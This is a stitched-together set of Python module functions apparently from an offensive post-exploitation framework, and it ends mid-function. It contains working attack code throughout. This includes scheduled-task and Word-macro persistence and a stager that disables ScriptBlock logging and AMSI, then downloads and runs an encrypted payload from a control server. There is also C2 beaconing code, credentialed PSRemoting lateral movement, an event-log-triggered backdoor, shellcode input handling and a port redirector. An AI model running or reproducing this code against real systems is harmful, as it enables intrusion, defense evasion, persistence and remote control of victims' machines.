listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.payloads.generate_launcher( listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName if adsPath != '': # store the script in the specified alternate data stream location if ".txt" not in adsPath: print helpers.color( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + encScript + " > " + adsPath + "\"};" locationString = "$(cmd /c \''\''more < " + adsPath + "\''\''\'')" else: # otherwise store the script into the specified registry location path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] statusMsg += " stored in " + regPath script = "$RegPath = '" + regPath + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";" # note where the script is stored locationString = "(gp " + path + " " + name + ")." + name # built the command that will be triggered by the schtask triggerCmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String(" + locationString + ")))\\\"'" # sanity check to make sure we haven't exceeded the cmd.exe command length max if len(triggerCmd) > 259: print helpers.color( "[!] Warning: trigger command exceeds the maximum of 259 characters." ) return "" if onLogon != '': script += "schtasks /Create /F /RU system /SC ONLOGON /TN " + taskName + " /TR " + triggerCmd + ";" statusMsg += " with " + taskName + " OnLogon trigger." elif idleTime != '': script += "schtasks /Create /F /RU system /SC ONIDLE /I " + idleTime + " /TN " + taskName + " /TR " + triggerCmd + ";" statusMsg += " with " + taskName + " idle trigger on " + idleTime + "." else: # otherwise assume we're doing a daily trigger script += "schtasks /Create /F /RU system /SC DAILY /ST " + dailyTime + " /TN " + taskName + " /TR " + triggerCmd + ";" statusMsg += " with " + taskName + " daily trigger at " + dailyTime + "." script += "'Schtasks persistence established " + statusMsg + "'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script
def generate(self): listenerName = self.options['Listener']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] cleanup = self.options['Cleanup']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listenerName, encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) launcher = launcher.replace("$", "`$") # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/persistence/Invoke-AbNormalDotm.ps1" if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] if cleanup.lower() == 'true': script = "cd HKCU:\\SOFTWARE\\Microsoft\\Office\\;" script += "gci . | %{ if(Test-Path Registry::$(Join-Path $_ -ChildPath 'Word\Security')){if((gpv -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM) -eq 1){sp -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM -Value 0;}else{return;}}};" script += "cd $env:APPDATA'\\Microsoft\\Templates\\';" script += "if(Test-Path normal.dotm.bak){" script += "mv -Force normal.dotm.bak normal.dotm;" script += "\"File Restored\"" script += "}else{" script += "\"Backup normal.dotm not found\";}" return script script = "[System.Reflection.Assembly]::LoadWithPartialName(\"Microsoft.Vbe.Interop\") | Out-Null;" script += "cd HKCU:\\SOFTWARE\\Microsoft\\Office\\;" script += "gci . | %{ if(Test-Path Registry::$(Join-Path $_ -ChildPath 'Word\Security')){if((gpv -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM) -eq 0){sp -Path Registry::$(Join-Path $_ -ChildPath 'Word\\Security') -Name AccessVBOM -Value 1;\"Updated Registry`n\"}else{return;}}};" script += "cd $env:APPDATA'\\Microsoft\\Templates\\';" script += "$word = New-Object -ComObject Word.Application;" script += "\"Opening Word`n\";" script += "$word.visible = $false;" script += "cp Normal.dotm AbNormal.dotm;" script += "$doc = $word.Documents.Open(${env:APPDATA}+'\\Microsoft\\Templates\\AbNormal.dotm');" script += "$macro = $doc.VBProject.VBComponents.Add(1);" script += "$code = \n" script += "@\"\n" script += "sub AutoExec()\n" script += "Dim objShell As Object\n" script += "Dim objExecObject As Object\n" script += "Dim strScript As String\n" script += "strScript = \"powershell.exe -NoP -NonI -W Hidden -Enc \"\n" for i in range(0, len(encScript), 100): script += "strScript = strScript + \"" + encScript[i:i + 100] + "\"\n" script += "Set objShell = CreateObject(\"WScript.Shell\")\n" script += "objShell.Run strScript\n" script += "end sub\n\n" #Probably superfluous script += "sub AutoOpen()\n" script += "AutoExec\n" script += "end sub\n" script += "\"@;" script += "$macro.CodeModule.AddFromString($code);" script += "$doc.Save();" script += "$doc.Close();" script += "$word.Quit();" script += "\"Wrote Macro`n\";" script += "\"Sleeping to wait for file to unlock\";" script += "Start-Sleep -s 10;" script += "mv Normal.dotm Normal.dotm.bak;" script += "mv AbNormal.dotm Normal.dotm;" script += "\"Finished\";" return script
def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common powerup.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-RunAs.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" script = f.read() f.close() # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": if not self.mainMenu.credentials.is_credential_valid(credID): print helpers.color("[!] CredID is invalid!") return "" (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] if domainName != "": self.options["Domain"]['Value'] = domainName if userName != "": self.options["UserName"]['Value'] = userName if password != "": self.options["Password"]['Value'] = password # extract all of our options #listenerName = self.options['Listener']['Value'] #userAgent = self.options['UserAgent']['Value'] #proxy = self.options['Proxy']['Value'] #proxyCreds = self.options['ProxyCreds']['Value'] # generate the .bat launcher code to write out to the specified location # this is because the System.Diagnostics.ProcessStartInfo method appears # to have a length limit on the arguments passed :( l = self.mainMenu.stagers.stagers['windows/launcher_bat'] l.options['Listener']['Value'] = self.options['Listener']['Value'] l.options['UserAgent']['Value'] = self.options['UserAgent']['Value'] l.options['Proxy']['Value'] = self.options['Proxy']['Value'] l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value'] l.options['Delete']['Value'] = "True" launcherCode = l.generate() # PowerShell code to write the launcher.bat out scriptEnd = "$tempLoc = \"$env:public\debug.bat\"" scriptEnd += "\n$batCode = @\"\n" + launcherCode + "\"@\n" scriptEnd += "$batCode | Out-File -Encoding ASCII $tempLoc ;\n" scriptEnd += "\"Launcher bat written to $tempLoc `n\";\n" scriptEnd += "\nInvoke-RunAs " scriptEnd += "-UserName %s " %(self.options["UserName"]['Value']) scriptEnd += "-Password %s " %(self.options["Password"]['Value']) domain = self.options["Domain"]['Value'] if(domain and domain != ""): scriptEnd += "-Domain %s " %(domain) scriptEnd += "-Cmd \"$env:public\debug.bat\"" if obfuscate: scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def generate_comms(self, listenerOptions, language=None): """ Generate just the agent communication code block needed for communications with this listener. This is so agents can easily be dynamically updated for the new listener. """ if language: if language.lower() == 'powershell': updateServers = """ $Script:ControlServers = @("%s"); $Script:ServerIndex = 0; """ % (listenerOptions['Host']['Value']) getTask = """ $script:GetTask = { try { if ($Script:ControlServers[$Script:ServerIndex].StartsWith("http")) { # meta 'TASKING_REQUEST' : 4 $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4 $RoutingCookie = [Convert]::ToBase64String($RoutingPacket) # build the web request object $wc = New-Object System.Net.WebClient # set the proxy settings for the WC to be the default system settings $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; $wc.Headers.Add("User-Agent",$script:UserAgent) $script:Headers.GetEnumerator() | % {$wc.Headers.Add($_.Name, $_.Value)} $wc.Headers.Add("Cookie", "session=$RoutingCookie") # choose a random valid URI for checkin $taskURI = $script:TaskURIs | Get-Random $result = $wc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI) $result } } catch [Net.WebException] { $script:MissedCheckins += 1 if ($_.Exception.GetBaseException().Response.statuscode -eq 401) { # restart key negotiation Start-Negotiate -S "$ser" -SK $SK -UA $ua } } } """ sendMessage = """ $script:SendMessage = { param($Packets) if($Packets) { # build and encrypt the response packet $EncBytes = Encrypt-Bytes $Packets # build the top level RC4 "routing packet" # meta 'RESULT_POST' : 5 $RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5 if($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) { # build the web request object $wc = New-Object System.Net.WebClient # set the proxy settings for the WC to be the default system settings $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; $wc.Headers.Add('User-Agent', $Script:UserAgent) $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)} try{ # get a random posting URI $taskURI = $Script:TaskURIs | Get-Random $response = $wc.UploadData($Script:ControlServers[$Script:ServerIndex]+$taskURI, 'POST', $RoutingPacket); } catch [System.Net.WebException]{ # exception posting data... if ($_.Exception.GetBaseException().Response.statuscode -eq 401) { # restart key negotiation Start-Negotiate -S "$ser" -SK $SK -UA $ua } } } } } """ return updateServers + getTask + sendMessage elif language.lower() == 'python': updateServers = "server = '%s'\n" % ( listenerOptions['Host']['Value']) sendMessage = """ def send_message(packets=None): # Requests a tasking or posts data to a randomized tasking URI. # If packets == None, the agent GETs a tasking from the control server. # If packets != None, the agent encrypts the passed packets and # POSTs the data to the control server. global missedCheckins global server global headers global taskURIs data = None if packets: data = ''.join(packets) # aes_encrypt_then_hmac is in payload.py encData = aes_encrypt_then_hmac(key, data) data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) else: # if we're GETing taskings, then build the routing packet to stuff info a cookie first. # meta TASKING_REQUEST = 4 routingPacket = build_routing_packet(stagingKey, sessionID, meta=4) b64routingPacket = base64.b64encode(routingPacket) headers['Cookie'] = "session=%s" % (b64routingPacket) taskURI = random.sample(taskURIs, 1)[0] requestUri = server + taskURI try: data = (urllib2.urlopen(urllib2.Request(requestUri, data, headers))).read() return ('200', data) except urllib2.HTTPError as HTTPError: # if the server is reached, but returns an erro (like 404) missedCheckins = missedCheckins + 1 r#if signaled for restaging, exit. if HTTPError.code == 401: sys.exit(0) except urllib2.URLError as URLerror: # if the server cannot be reached missedCheckins = missedCheckins + 1 return (URLerror.reason, '') return ('', '') """ return updateServers + sendMessage else: print helpers.color( "[!] listeners/http_foreign generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." ) else: print helpers.color( '[!] listeners/http_foreign generate_comms(): no language specified!' )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', payloadRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http_foreign generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell payload = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': payload = helpers.randomize_capitalization( "If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass payload += helpers.randomize_capitalization( "$GPF=[ref].Assembly.GetType(") payload += "'System.Management.Automation.Utils'" payload += helpers.randomize_capitalization( ").\"GetFie`ld\"(") payload += "'cachedGroupPolicySettings','N'+'onPublic,Static'" payload += helpers.randomize_capitalization( ");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") payload += "['ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("){$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" payload += helpers.randomize_capitalization("$GPC") payload += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" payload += helpers.randomize_capitalization( "$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add" ) payload += "('EnableScriptB'+'lockLogging',0);" payload += helpers.randomize_capitalization("$val.Add") payload += "('EnableScriptBlockInvocationLogging',0);" payload += helpers.randomize_capitalization("$GPC") payload += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" payload += helpers.randomize_capitalization("=$val}") payload += helpers.randomize_capitalization( "Else{[ScriptBlock].\"GetFie`ld\"(") payload += "'signatures','N'+'onPublic,Static'" payload += helpers.randomize_capitalization( ").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}" ) # @mattifestation's AMSI bypass payload += helpers.randomize_capitalization( "[Ref].Assembly.GetType(") payload += "'System.Management.Automation.AmsiUtils'" payload += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') payload += "'amsiInitFailed','NonPublic,Static'" payload += helpers.randomize_capitalization( ").SetValue($null,$true)};") payload += "};" payload += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) payload += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] payload += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections payload += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': payload += helpers.randomize_capitalization( '$wc.Headers.Add(') payload += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': payload += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy payload += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") payload += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") payload += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": payload += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] payload += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');" payload += helpers.randomize_capitalization( "$wc.Proxy.Credentials = $netcred;") # TODO: reimplement payload retries? #Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] payload += helpers.randomize_capitalization( "$wc.Headers.Add(") payload += "\"%s\",\"%s\");" % (headerKey, headerValue) # code to turn the key string into a byte array payload += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") payload += "'%s');" % (stagingKey) # this is the minimized RC4 payload code from rc4.ps1 payload += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie payload += helpers.randomize_capitalization("$wc.Headers.Add(") payload += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) payload += "$ser='%s';$t='%s';" % (host, stage0) payload += helpers.randomize_capitalization( "$data=$WC.DownloadData($ser+$t);") payload += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution payload += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: payload = helpers.obfuscate( self.mainMenu.installPath, payload, obfuscationCommand=obfuscationCommand) # base64 encode the payload and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(payload, launcher) else: # otherwise return the case-randomized payload return payload if language.startswith('py'): # Python launcherBase = 'import sys;' if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( b64RoutingPacket) launcherBase += "import urllib2\n" if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" # download the payload and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) else: print helpers.color( "[!] listeners/http_foreign generate_launcher(): invalid listener name specification!" )
def generate(self, obfuscate=False, obfuscationCommand=""): # Set booleans to false by default Obfuscate = False AMSIBypass = False AMSIBypass2 = False listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] userName = self.options['UserName']['Value'] password = self.options['Password']['Value'] if (self.options['Obfuscate']['Value']).lower() == 'true': Obfuscate = True ObfuscateCommand = self.options['ObfuscateCommand']['Value'] if (self.options['AMSIBypass']['Value']).lower() == 'true': AMSIBypass = True if (self.options['AMSIBypass2']['Value']).lower() == 'true': AMSIBypass2 = True script = """Invoke-Command """ # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": if not self.mainMenu.credentials.is_credential_valid(credID): print(helpers.color("[!] CredID is invalid!")) return "" (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] self.options["UserName"]['Value'] = str(domainName) + "\\" + str( userName) self.options["Password"]['Value'] = password if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print(helpers.color("[!] Invalid listener: " + listenerName)) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listenerName, language='powershell', encode=True, obfuscate=Obfuscate, obfuscationCommand=ObfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, AMSIBypass=AMSIBypass, AMSIBypass2=AMSIBypass2) if launcher == "": return "" else: # build the PSRemoting execution string computerNames = "\"" + "\",\"".join( self.options['ComputerName']['Value'].split(",")) + "\"" script += " -ComputerName @(" + computerNames + ")" script += " -ScriptBlock {" + launcher + "}" if self.options["UserName"]['Value'] != "" and self.options[ "Password"]['Value'] != "": # add in the user credentials script = "$PSPassword = \"" + password + "\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\"" + userName + "\",$PSPassword);" + script + " -Credential $Credential" script += ";'Invoke-PSRemoting executed on " + computerNames + "'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) script = helpers.keyword_obfuscation(script) return script
def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-EventLogBackdoor { Param( [Parameter(Mandatory=$False,Position=1)] [string]$Trigger="HACKER", [Parameter(Mandatory=$False,Position=2)] [int]$Timeout=0, [Parameter(Mandatory=$False,Position=3)] [int]$Sleep=30 ) $running=$True $match ="" $starttime = Get-Date while($running) { if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) { $running=$False } $d = Get-Date $NewEvents = Get-WinEvent -FilterHashtable @{logname='Security'; StartTime=$d.AddSeconds(-$Sleep)} -ErrorAction SilentlyContinue | fl Message | Out-String if($NewEvents -match $Trigger) { REPLACE_LAUNCHER $running=$False } else { Start-Sleep -s $Sleep } } } Invoke-EventLogBackdoor""" listenerName = self.options['Listener']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # set the listener value for the launcher stager = self.mainMenu.stagers.stagers["launcher"] stager.options['Listener']['Value'] = listenerName stager.options['Base64']['Value'] = "False" # and generate the code stagerCode = stager.generate() if stagerCode == "": return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) script = script.encode('ascii', 'ignore') for option, values in self.options.iteritems(): if option.lower() != "agent" and option.lower( ) != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str( values['Value']) outFile = self.options['OutFile']['Value'] if outFile != '': # make the base directory if it doesn't exist if not os.path.exists(os.path.dirname( outFile)) and os.path.dirname(outFile) != '': os.makedirs(os.path.dirname(outFile)) f = open(outFile, 'w') f.write(script) f.close() print helpers.color( "[+] PowerBreach deaduser backdoor written to " + outFile) return "" if obfuscate: script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting launcher = helpers.powershell_launcher(script) stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher parts = stagerCode.split(" ") # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % ( parts[0], " ".join(parts[1:])) if obfuscate: scriptLauncher = helpers.obfuscate( psScript=scriptLauncher, obfuscationCommand=obfuscationCommand) print scriptLauncher return scriptLauncher
def payload_selection_menu(self, showTitle=True): """ Menu to prompt the user for a custom shellcode string. Returns None if nothing is specified. """ # print out the main title to reset the interface if showTitle: evasion_helpers.title_screen() print(' [?] Generate or supply custom shellcode?\n') print(' %s - Ordnance %s' % (helpers.color('1'), helpers.color('(default)', yellow=True))) print(' %s - MSFVenom' % (helpers.color('2'))) print(' %s - custom shellcode string' % (helpers.color('3'))) print(' %s - file with shellcode (\\x41\\x42..)' % (helpers.color('4'))) print(' %s - binary file with shellcode\n' % helpers.color('5')) try: choice = self.required_options['SHELLCODE'][0].lower().strip() print(" [>] Please enter the number of your choice: %s" % (choice)) except: choice = input( " [>] Please enter the number of your choice: ").strip() if choice == '4': # instantiate our completer object for path completion comp = completer.PathCompleter() # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # if the shellcode is specicified as a raw file filePath = input( " [>] Please enter the path to your shellcode file: ") try: with open(filePath, 'r') as shellcode_file: file_shellcode = shellcode_file.read() file_shellcode = file_shellcode.strip() except: print( helpers.color( " [!] WARNING: path not found, defaulting to msfvenom!", warning=True)) return None if len(file_shellcode) == 0: print( helpers.color( " [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) return None # check if the shellcode was passed in as string-escaped form if file_shellcode[0:2] == "\\x" and file_shellcode[4:6] == "\\x": return file_shellcode else: # otherwise encode the raw data as a hex string hexString = binascii.hexlify(file_shellcode) file_shellcode = "\\x" + "\\x".join( [hexString[i:i + 2] for i in range(0, len(hexString), 2)]) return file_shellcode # remove the completer readline.set_completer(None) elif choice == '5': # instantiate our completer object for path completion comp = completer.PathCompleter() # we want to treat '/' as part of a word, so override the delimiters readline.set_completer_delims(' \t\n;') readline.parse_and_bind("tab: complete") readline.set_completer(comp.complete) # if the shellcode is specicified as a raw file filePath = input( " [>] Please enter the path to your binary file: ") try: with open(filePath, 'rb') as shellcode_file: file_shellcode = shellcode_file.read() except: print( helpers.color( " [!] WARNING: path not found, defaulting to msfvenom!", warning=True)) return None if len(file_shellcode) == 0: print( helpers.color( " [!] WARNING: no custom shellcode restrieved, defaulting to msfvenom!", warning=True)) return None binary_code = '' # Convert from binary to shellcode for byte in file_shellcode: binary_code += "\\x" + hex(byte)[2:].zfill(2) return binary_code elif choice == '3' or choice == 'string': # if the shellcode is specified as a string cust_sc = input( " [>] Please enter custom shellcode (one line, no quotes, \\x00.. format): " ) if len(cust_sc) == 0: print( helpers.color( " [!] WARNING: no shellcode specified, defaulting to msfvenom!", warning=True)) return cust_sc elif choice == '' or choice == '1' or choice.lower( ) == 'veil-ordnance' or choice.lower() == 'ordnance': return 'ordnance' elif choice == '2' or choice.lower() == 'msf' or choice.lower( ) == 'metasploit' or choice.lower() == 'msfvenom': return None else: print( helpers.color( " [!] WARNING: Invalid option chosen, defaulting to Ordnance!", warning=True)) return 'ordnance'
def generate(self, obfuscate=False, obfuscationCommand=""): script = """ function Invoke-Redirector { param($ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) if($ShowAll){ $out = netsh interface portproxy show all if($out){ $out } else{ "[*] no redirectors currently configured" } } elseif($Reset){ $out = netsh interface portproxy reset if($out){ $out } else{ "[+] successfully removed all redirectors" } } else{ if((-not $ListenPort)){ "[!] netsh error: required option not specified" } else{ $ConnectAddress = "" $ConnectPort = "" $parts = $ConnectHost -split(":") if($parts.Length -eq 2){ # if the form is http[s]://HOST or HOST:PORT if($parts[0].StartsWith("http")){ $ConnectAddress = $parts[1] -replace "//","" if($parts[0] -eq "https"){ $ConnectPort = "443" } else{ $ConnectPort = "80" } } else{ $ConnectAddress = $parts[0] $ConnectPort = $parts[1] } } elseif($parts.Length -eq 3){ # if the form is http[s]://HOST:PORT $ConnectAddress = $parts[1] -replace "//","" $ConnectPort = $parts[2] } if($ConnectPort -ne ""){ $out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp if($out){ $out } else{ "[+] successfully added redirector on port $ListenPort to $ConnectHost" } } else{ "[!] netsh error: host not in http[s]://HOST:[PORT] format" } } } } Invoke-Redirector""" addAsListener = False listenerName = False for option, values in self.options.iteritems(): if option.lower() == "listener" and values['Value'] != '': # extract out all options from a listener if one is set if not 